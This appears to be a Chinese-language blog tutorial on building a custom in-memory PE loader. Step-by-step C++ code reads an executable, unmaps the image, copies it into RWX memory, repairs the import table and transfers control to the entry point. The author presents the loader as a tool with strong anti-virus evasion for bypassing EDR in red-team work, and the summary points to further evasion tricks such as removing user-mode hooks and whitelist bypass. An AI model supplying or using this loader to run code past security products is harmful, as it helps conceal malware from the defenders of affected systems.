PE_Loade技术解析

文章目录

        • [0x0 Pe_Loade](#0x0 Pe_Loade)
        • [0x1 Loader技术点](#0x1 Loader技术点)
        • [技术剖析-2 读取NT映像头](#技术剖析-2 读取NT映像头)
        • [技术剖析-3 读取映像基址](#技术剖析-3 读取映像基址)
        • [技术剖析-4 NtUnmapViewOfSection卸载模块](#技术剖析-4 NtUnmapViewOfSection卸载模块)
        • [技术剖析-5 开辟具有RXW权限的堆](#技术剖析-5 开辟具有RXW权限的堆)
        • [技术剖析-6 复制内存中PE头+ 节表目录到新堆](#技术剖析-6 复制内存中PE头+ 节表目录到新堆)
        • [技术剖析-7 将节内容对齐后复制点到新堆](#技术剖析-7 将节内容对齐后复制点到新堆)
        • [技术剖析-8 修复IAT](#技术剖析-8 修复IAT)
        • 总结
0x0 Pe_Loade
Pe_Loader后面简称为Loader,实际上就是自己实现pe装载器的功能的技术,
该技术具有极强的免杀效果,原理为读取硬盘文件到内存卸载自内存中文件
重定位模块地址将内存文件复制到新堆修复IAT转交控制权到堆OEP,本篇文
章聚焦于代码实现阅读下列代码需要具备C++ WINAPI开发经验以及逆向经验。
0x1 Loader技术点
1.将文件读取到内存
2.读取在内存中文件的NT映像头
3.读取文件内存重定位地址中映像基址
4.使用NtUnmapViewOfSection卸载自内存中内存文件重定位模块
5.开辟具有RXW权限的堆
6.复制内存中PE头+ 节表目录到新堆
7.将节内容对齐后复制点到新堆
8.修复IAT
9.读取原程序OEP
10.将程序控制权转交给RXW堆中的OEP入口点
技术剖析-1 文件读取内存
使用CreateFile直接读取硬盘文件到内存。
cpp 复制代码
	BYTE* FileBuff(char* file_path_name) {

        HANDLE handleFile=CreateFileA(file_path_name, GENERIC_READ,NULL,NULL,4,NULL,NULL);

        PLARGE_INTEGER large = (PLARGE_INTEGER)malloc(sizeof(LARGE_INTEGER));

        BOOL SizeStatus=GetFileSizeEx(handleFile, large);

        if (!SizeStatus) {

               cout << "Error:File Size" << endl;

               return 0x0;

        }

        BYTE* Buffer = (BYTE *)malloc(large->QuadPart);

        BOOL ReadFileStatus=ReadFile(handleFile, Buffer, large->QuadPart,NULL,NULL);

        if (!ReadFileStatus) {

               cout << "Error File Read" << endl;

               return 0x0;

        }

        return Buffer;

}
技术剖析-2 读取NT映像头
先使用IMAGE_DOS_HEADER 结构读取内存中的DOS头判断小端标识的MZ是否读取到DOS头,
通过DOS头中的e_magic偏移到NT映像头返回NT头。
cpp 复制代码
BYTE* GetNtHdrs(BYTE* file_buffer) {

        if (file_buffer == NULL)return 0x0;

        IMAGE_DOS_HEADER* dos_headr = (IMAGE_DOS_HEADER*)(file_buffer);

        if (dos_headr->e_magic != 0x5A4D)return 0x0;

        LONG pe_offset = dos_headr->e_lfanew;//nt_header

        IMAGE_NT_HEADERS32* nt_header = (IMAGE_NT_HEADERS32*)((BYTE*)dos_headr + 
pe_offset);

        if (nt_header->Signature != IMAGE_NT_SIGNATURE) return NULL;

        return (BYTE *)nt_header;

}


        IMAGE_NT_HEADERS* nt_header=(IMAGE_NT_HEADERS*)GetNtHdrs(Buffer);//NT映像头
技术剖析-3 读取映像基址
偏移读取数据目录表IMAGE_DIRECTORY_ENTRY_BASERELOC并读取映像基址
cpp 复制代码
BYTE* GetDataDirectory(BYTE* buffer) {

        IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)buffer;

        IMAGE_DATA_DIRECTORY* director = 
(IMAGE_DATA_DIRECTORY*)(&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]);

        if (director->VirtualAddress == NULL)return 0x0;

        return (BYTE *)director;

}


IMAGE_DATA_DIRECTORY *director= (IMAGE_DATA_DIRECTORY*)GetDataDirectory((BYTE 
*)nt_header);//基址重定位地址

        LPVOID baseImage=(LPVOID)nt_header->OptionalHeader.ImageBase;//内存映像基址
技术剖析-4 NtUnmapViewOfSection卸载模块
cpp 复制代码
HMODULE dll = LoadLibraryA("ntdll.dll");

        //卸载占用内存

        ((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(dll, 
"NtUnmapViewOfSection"))((HANDLE)-1, (LPVOID)nt_header->OptionalHeader.ImageBase);
技术剖析-5 开辟具有RXW权限的堆
开辟具有RXW权限的堆,堆的大小为内存文件中SizeOfImage表述的内存映射大小。
cpp 复制代码
BYTE* Runmemory_ImageBase = (BYTE 
*)VirtualAlloc(baseImage,nt_header->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, 
PAGE_EXECUTE_READWRITE);
技术剖析-6 复制内存中PE头+ 节表目录到新堆
复制头部+节表到新堆,头部和节表总大小为可选映像头中的SizeOfHeaders
memcpy(Runmemory_ImageBase, Buffer, nt_header->OptionalHeader.SizeOfHeaders);//内存复制头+节表
技术剖析-7 将节内容对齐后复制点到新堆
节表数量位于文件头中的NumberOfSection中,将就文件堆复制到新堆中长度为SizeOfRawData内存映射后大小。
cpp 复制代码
IMAGE_SECTION_HEADER* section_header = (IMAGE_SECTION_HEADER*)(size_t(nt_header) + 
sizeof(IMAGE_NT_HEADERS));

        for (int i = 0; i < nt_header->FileHeader.NumberOfSections;i++) {

               /*

                       Sections节中VirtualAddress是节在内存中偏移=ImageBase+VirtualAddress

                       PointerToRawData是节在文件中的偏移

                       SizeOfRawData是节在文件中对齐后的检测

               */

               memcpy(Runmemory_ImageBase+section_header[i].VirtualAddress,Buffer+section_header[i].PointerToRawData,section_header[i].SizeOfRawData);

        }
技术剖析-8 修复IAT
首先从RXW堆中读取NT映像头,从NT映像头中偏移读取数据目录的IMAGE_DIRECTORY_ENTRY_IMPORT导入表,导入表为IMAGE_IMPORT_DESCRTIPTOR结构,其中使用到的关键偏移有NAME:DLL名称、OriginalFirstThunk INT导入名称表的IMAGE_THUNK_DATA和FirstThunk指向IAT的导入地址表,其中INT不可修改 IAT可由自装载器填充GetProcAddress找到的函数地址,INT有两种表现形式第一种表现形式指向IMAGE_IMPORT_BY_NAME结构可以使用函数名来填充IAT第二种表现形式为MSB最高位为1说明使用序号装载IAT也同样可以使用GetProcAddress来装载序号找到函数地址并填充,INT与IAT是对应关系INT可能表现的形式不同可能为模式一或模式二这样需要编写两种方式来填充IAT,简单方式就是使用宏IMAGE_ORDINAL_FLAG32或IMAGE_ORDINAL_FLAG64来判断MSB是否为1使用序号方式否则就是函数名方式。
cpp 复制代码
BOOL IatLoader(BYTE* memory_file) {

        cout << "PE Loader IAT Run Repair" << endl;

        /*

               在IMAGE_IMPORT_DECSRIPTOR结构中 使用的关键内容

               NAME 指向使用的DLL

               OriginalFirstThunk 指向INT 不可修改有两种表现形式如果MSB最高位为1说明使用序号加载如果MSB最高位为0则指向IMPORT_BY_NAME结构用函数名加载

               FirstThunk 指向IAT 可修改一般有PE装载器写入函数在内存中的地址,用于填充函数地址

        */

        IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)GetNtHdrs(memory_file);

        IMAGE_DATA_DIRECTORY* 
import_director=(IMAGE_DATA_DIRECTORY*)(&nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]);

        if (import_director == NULL)return false;

        /*

        IMAGE_DATA_DIRECTORY 结构 VirtualAddress内存地址 Size数量

        */

        size_t maxSize = import_director->Size;

        size_t impAddr = import_director->VirtualAddress;

        IMAGE_IMPORT_DESCRIPTOR* import_descriptor = NULL;

        unsigned int parsedSize = 0;

        for (; parsedSize < maxSize; parsedSize+=sizeof(IMAGE_IMPORT_DESCRIPTOR)) {

               //指向每个IMAGE_IMPORT_DESCRIPTOR=内存RVA基址+VirtualAddress+偏移量

               import_descriptor = (IMAGE_IMPORT_DESCRIPTOR*)(impAddr + parsedSize + 
(ULONG_PTR)memory_file);

               //DLL Name=RVA基址+

               char* lib_name = (char *)(memory_file + import_descriptor->Name);

               if (*lib_name=='M'&& *(lib_name + 1)=='Z') {

                       break;

               }

               printf("    [+] Import DLL: %s\n", lib_name);

               /*

               FirstThunk:包含指向输入表(IAT)的RVA,IAT是一个IMAGE_THUNK_DATA结构的数组

               */

               size_t call_via_IAT=import_descriptor->FirstThunk;

               /*

               OriginalFirstThunk包含指向输入名称表INT的RVA,INT是一个IMAGE_THUNK_DATA结构数组,数组中每个IMAGE_THUNK_DATA

               结构都指向IMAGE_IMPORT_BY_NAME结构,数组以一个内容为0的IMAGE_THUNK_DATA结构结束。

               */

               size_t thunk_addr_INT = import_descriptor->OriginalFirstThunk;

               if (thunk_addr_INT == NULL)thunk_addr_INT = import_descriptor->FirstThunk;

               size_t offsetField = 0;

               size_t offsetThunk = 0;

               while (true)

               {

                       IMAGE_THUNK_DATA* fieldThunk = (IMAGE_THUNK_DATA*)(memory_file + 
offsetField + call_via_IAT);

                       IMAGE_THUNK_DATA* orginThunk = 
(IMAGE_THUNK_DATA*)(memory_file+offsetThunk+thunk_addr_INT);

                       /*

                       * 序号装载

                              某些情况一些函数由序号引出,只能用他们的位置调用他们,此时IMAGE_THUNK_DATA的值低位字指示函数序数

                              最高有效位(MSB)设为1可以使用IMAGE_ORDINAL_FLAG32来测试DWORD值得MSB、和IAMGE_ORDINAL_FLAG64

                       */

                       if (orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG32 || 
orginThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG64) // check if using ordinal (both x86 && x64)

                       {

                              size_t addr = (size_t)GetProcAddress(LoadLibraryA(lib_name), 
(char*)(orginThunk->u1.Ordinal & 0xFFFF));

                              printf("        API Serial %x Serial Memory %x\n", 
orginThunk->u1.Ordinal, addr);

                              fieldThunk->u1.Function = addr;

                       }

                       if (fieldThunk->u1.Function == NULL) {

                              break;

                       }

                       //使用函数名称修复IAT

                       if (fieldThunk->u1.Function == orginThunk->u1.Function) {

                              PIMAGE_IMPORT_BY_NAME by_name = 
(PIMAGE_IMPORT_BY_NAME)(memory_file+ fieldThunk->u1.AddressOfData);//转到BY_NAME结构

                              char* name = by_name->Name;

                              size_t nameAddress = 
(size_t)GetProcAddress(LoadLibraryA(lib_name), name);

                              cout << "function name:" << name << "----Address:" <<hex<< 
nameAddress << endl;



                              fieldThunk->u1.Function = nameAddress;



                       }

                       offsetField += sizeof(IMAGE_THUNK_DATA);

                       offsetThunk += sizeof(IMAGE_THUNK_DATA);

               }

        }

        cout << "PE Loader IAT Run Repair Succeed " << endl;

        return 0;

}
技术剖析-9 读取原程序OEP
RXW文件堆中的OEP程序入口位于可选映像头中的AddressOfEntryPoint偏移中。
cpp 复制代码
size_t retAddr = 
(size_t)(Runmemory_ImageBase)+nt_header->OptionalHeader.AddressOfEntryPoint;
技术剖析-10 控制权转交给RXW堆中OEP地址
cpp 复制代码
((void(*)())retAddr)();
总结
PeLoader技术是模拟Windows EXE装载过程,主要用于红蓝对抗对EDR查杀的规避能够
具有很强静态免杀效果,随着对抗的升级PeLoader在遇到有着较强内存查杀的EDR时候,
往往显得力不从心,可以使用其他技术进行对抗比如模块.text reload卸载R3 HOOK,白
+黑进行白名单绕过等等,红蓝对抗是永无止境的没有攻不破的系统只有不努力的黑客。
相关推荐
Red Red39 分钟前
网安基础知识|IDS入侵检测系统|IPS入侵防御系统|堡垒机|VPN|EDR|CC防御|云安全-VDC/VPC|安全服务
网络·笔记·学习·安全·web安全
2401_857610031 小时前
SpringBoot社团管理:安全与维护
spring boot·后端·安全
亚远景aspice2 小时前
ISO 21434标准:汽车网络安全管理的利与弊
网络·web安全·汽车
弗锐土豆4 小时前
工业生产安全-安全帽第二篇-用java语言看看opencv实现的目标检测使用过程
java·opencv·安全·检测·面部
HackKong4 小时前
小白怎样入门网络安全?
网络·学习·安全·web安全·网络安全·黑客
打码人的日常分享5 小时前
商用密码应用安全性评估,密评整体方案,密评管理测评要求和指南,运维文档,软件项目安全设计相关文档合集(Word原件)
运维·安全·web安全·系统安全·规格说明书
爱吃奶酪的松鼠丶5 小时前
Web安全之XSS攻击的防范
安全·web安全·xss
东莞梦幻网络科技软件开发公司5 小时前
开发体育赛事直播平台防止数据泄露的技术安全方案
经验分享·安全
vmlogin虚拟多登浏览器5 小时前
虚拟浏览器可以应对哪些浏览器安全威胁?
服务器·网络·安全·跨境电商·防关联
澜世5 小时前
2024小迪安全基础入门第三课
网络·笔记·安全·网络安全